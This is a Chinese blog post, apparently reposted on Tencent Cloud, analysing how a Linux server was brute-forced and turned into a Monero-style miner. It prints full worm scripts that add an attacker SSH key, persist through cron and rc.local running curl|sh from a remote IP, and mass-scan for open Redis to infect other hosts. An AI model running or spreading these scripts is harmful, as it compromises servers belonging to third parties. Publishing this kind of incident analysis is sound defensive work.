首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >一次 Linux 服务器被入侵变矿机记实

一次 Linux 服务器被入侵变矿机记实

作者头像
iMike
发布2019-07-10 10:47:26
发布2019-07-10 10:47:26
1.3K00
代码可运行
举报
文章被收录于专栏:运维之美运维之美
运行总次数:0
代码可运行

背景

周一早上刚到办公室,就听到同事说有一台服务器登陆不上了,我也没放在心上,继续边吃早点,边看币价是不是又跌了。

不一会运维的同事也到了,气喘吁吁的说:我们有台服务器被阿里云冻结了,理由:对外恶意发包。

我放下酸菜馅的包子,SSH 连了一下,被拒绝了,问了下默认的 22 端口被封了。让运维的同事把端口改了一下,立马连上去,顺便看了一下登录名 :root,还有不足 8 位的小白密码,心里一凉:被黑了!

查找线索

服务器系统是 CentOS 6.X,部署了 Nginx、Tomcat、Redis 等应用,上来先把数据库全备份到本地,然后 top 命令看了一下,有 2 个99%的同名进程还在运行,叫 gpg-agentd。

Google 了一下 gpg,结果是:

GPG 提供的 gpg-agent 提供了对 SSH 协议的支持,这个功能可以大大简化密钥的管理工作。

看起来像是一个很正经的程序嘛,但仔细再看看服务器上的进程后面还跟着一个字母 d,伪装的很好,让人想起来 Windows 上各种看起来像 svchost.exe 的病毒。继续:

代码语言:javascript
代码运行次数:0
运行
复制
$ ps eho command -p 23374
$ netstat -pan | grep 23374

查看 pid:23374 进程启动路径和网络状况,也就是来到了图 1 的目录,到此已经找到了黑客留下的二进制可执行文件。接下来还有 2 个问题在等着我:

1. 文件是怎么上传的? 2. 这个文件的目的是什么,或是黑客想干嘛?

history 看一下,记录果然都被清掉了,没留下任何痕迹。继续命令 more messages:

看到了在半夜 12 点左右,在服务器上装了很多软件,其中有几个软件引起了我的注意。

下面详细讲,边找边猜。如果我们要做坏事,大概会在哪里做文章,自动启动?定时启动?对,计划任务。

代码语言:javascript
代码运行次数:0
运行
复制
$ crontab -e

果然,线索找到了。

作案动机

上面的计划任务的意思就是每 15 分钟去服务器上下载一个脚本,并且执行这个脚本。我们把脚本下载下来看一下。

代码语言:javascript
代码运行次数:0
运行
复制
$ curl -fsSL 159.89.190.243/ash.php > ash.sh

脚本内容如下:

代码语言:javascript
代码运行次数:0
运行
复制
uname -a
id
hostname
setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
crontab -r 2>/dev/null
rm -rf /var/spool/cron/* 2>/dev/null
mkdir -p /var/spool/cron/crontabs 2>/dev/null
mkdir -p /root/.ssh 2>/dev/null
echo 'ssh-rsa

AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx
 redisX' > /root/.ssh/authorized_keys
echo '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/root
echo '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/root

yum install -y bash 2>/dev/null
apt install -y bash 2>/dev/null
apt-get install -y bash 2>/dev/null

bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null

大致分析一下该脚本的主要用途:首先是关闭 SELinux,解除 Shell 资源访问限制,然后在 /root/.ssh/authorized_keys 文件中生成 SSH 公钥,这样每次黑客登录这台服务器就可以免密码登录了,执行脚本就会方便很多。接下来安装 Bash,最后是继续下载第二个脚本 bsh.php,并且执行。

继续下载并分析 bsh.pbp,内容如下:

代码语言:javascript
代码运行次数:0
运行
复制
sleep $( seq 3 7 | sort -R | head -n1 )
cd /tmp || cd /var/tmp
sleep 1
mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...
sleep 1
if [ -f .watch ]; then
rm -rf .watch
exit 0
fi
sleep 1
echo 1 > .watch
sleep 1
ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null
ps x | awk '!/awk/ && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/null
sleep 1
if ! [ -x /usr/bin/gpg-agentd ]; then
curl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.db
echo '/usr/bin/gpg-agentd' > /etc/rc.local
echo 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.local
echo 'exit 0' >> /etc/rc.local
fi
sleep 1
chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd
sleep 1
if ! [ -x "$(command -v masscan)" ]; then
rm -rf /var/lib/apt/lists/*
rm -rf x1.tar.gz
if [ -x "$(command -v apt-get)" ]; then
export DEBIAN_FRONTEND=noninteractive
apt-get update -y
apt-get install -y debconf-doc
apt-get install -y build-essential
apt-get install -y libpcap0.8-dev libpcap0.8
apt-get install -y libpcap*
apt-get install -y make gcc git
apt-get install -y redis-server
apt-get install -y redis-tools
apt-get install -y redis
apt-get install -y iptables
apt-get install -y wget curl
fi
if [ -x "$(command -v yum)" ]; then
yum update -y
yum install -y epel-release
yum update -y
yum install -y git iptables make gcc redis libpcap libpcap-devel
yum install -y wget curl
fi
sleep 1
curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz
sleep 1
[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4
fi
sleep 3 && rm -rf .watch
bash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null

这段脚本的代码比较长,但主要的功能有 4 个:

  • 下载远程代码到本地,添加执行权限,chmod u+x。
  • 修改 rc.local,让本地代码开机自动执行。
  • 下载 github 上的开源扫描器代码,并安装相关的依赖软件,也就是我上面的 messages 里看到的记录。
  • 下载第三个脚本,并且执行。

我去 Github 上看了下这个开源代码,简直吊炸天。

代码语言:javascript
代码运行次数:0
运行
复制
MASSCAN: Mass IP port scanner

This is an Internet-scale port scanner. It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second, from a single machine.

It's input/output is similar to nmap, the most famous port scanner. When in doubt, try one of those features.

Internally, it uses asynchronous tranmissions, similar to port scanners like scanrand, unicornscan, and ZMap. It's more flexible, allowing arbitrary port and address ranges.

NOTE: masscan uses a its own custom TCP/IP stack. Anything other than simple port scans may cause conflict with the local TCP/IP stack. This means you need to either the --src-ip option to run from a different IP address, or use --src-port to configure which source ports masscan uses, then also configure the internal firewall (like pf or iptables) to firewall those ports from the rest of the operating system.

transmitting 10 million packets per second (每秒发送 1000 万个数据包),比 nmap 速度还要快,这就不难理解为什么阿里云把服务器冻结了,大概看了下 Readme 之后,我也没有细究,继续下载第三个脚本。

代码语言:javascript
代码运行次数:0
运行
复制
setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
sleep 1
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
sleep 1
rm -rf .dat .shard .ranges .lan 2>/dev/null
sleep 1
echo 'config set dbfilename "backup.db"' > .dat
echo 'save' >> .dat
echo 'flushall' >> .dat
echo 'set backup1 "\n\n\n*/2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'set backup2 "\n\n\n*/3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'set backup3 "\n\n\n*/4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'set backup4 "\n\n\n*/5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'config set dir "/var/spool/cron/"' >> .dat
echo 'config set dbfilename "root"' >> .dat
echo 'save' >> .dat
echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
echo 'save' >> .dat
sleep 1
masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .shard
sleep 1
masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .ranges
sleep 1
ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's/\/\([0-9]\{2\}\)/\/16/g' > .inet
sleep 1
masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .lan
sleep 60
rm -rf .dat .shard .ranges .lan 2>/dev/null

如果说前两个脚本只是在服务器上下载执行了二进制文件,那这个脚本才真正显示病毒的威力。下面就来分析这个脚本。

一开始的修改系统环境没什么好说的,接下来的写文件操作有点眼熟,如果用过 Redis 的人,应该能猜到,这里是对 Redis 进行配置。写这个配置,自然也就是利用了 Redis 把缓存内容写入本地文件的漏洞。 结果就是用本地的私钥去登陆被写入公钥的服务器了,无需密码就可以登陆,也就是我们文章最开始的 /root/.ssh/authorized_keys。

登录之后就开始定期执行计划任务,下载脚本。好了,配置文件准备好了,就开始利用 masscan 进行全网扫描 Redis 服务器,寻找肉鸡。

注意看这 6379 就是 Redis 服务器的默认端口,如果你的 Redis 的监听端口是公网 IP 或是 0.0.0.0,并且没有密码保护,不好意思,你就中招了。

总结

通过依次分析这 3 个脚本,就能看出这个病毒的可怕之处,先是通过写入 SSH Public Key 拿到登录权限,然后下载执行远程二进制文件,最后再通过 Redis漏洞复制,迅速在全网传播,以指数级速度增长。

那么问题是,这台服务器是怎么中招的呢?看了下 redis.conf,bind 的地址是127.0.0.1,没啥问题。由此可以推断,应该是 root 帐号被暴力破解了,为了验证我的想法,我 lastb 看了一下,果然有大量的记录:

还剩最后一个问题,这个 gpg-agentd 程序到底是干什么的呢?我当时的第一个反应就是矿机,因为现在数字货币太火了,加大了分布式矿机的需求,也就催生了这条灰色产业链。

于是,顺手把这个 gpg-agentd 拖到 ida 中,用 string 搜索 bitcoin、eth、 mine 等相关单词,最终发现了这个:

打开 nicehash.com 看一下,一切都清晰了。

安全建议

1. 服务器

  • 禁用 ROOT 用户
  • 用户名和密码尽量复杂
  • 修改 SSH 的默认22端口
  • 安装 DenyHosts 防暴力破解软件
  • 禁用密码登录,使用 RSA 公钥登录

2. Redis

  • 禁用公网 IP 监听,包括 0.0.0.0
  • 使用密码限制访问 Redis
  • 使用较低权限帐号运行 Redis

至此,整个入侵过程基本分析完了,如果大家对样本有兴趣,也可以自行去Curl,或是去虚拟机执行上面的脚本。

鉴于本人能力有限,文中难免会出现疏忽或是错误,还请大家多多指正。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-07-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 奇妙的Linux世界 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 背景
  • 查找线索
  • 果然,线索找到了。
  • 作案动机
  • 总结
  • 安全建议
    • 1. 服务器
    • 2. Redis
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档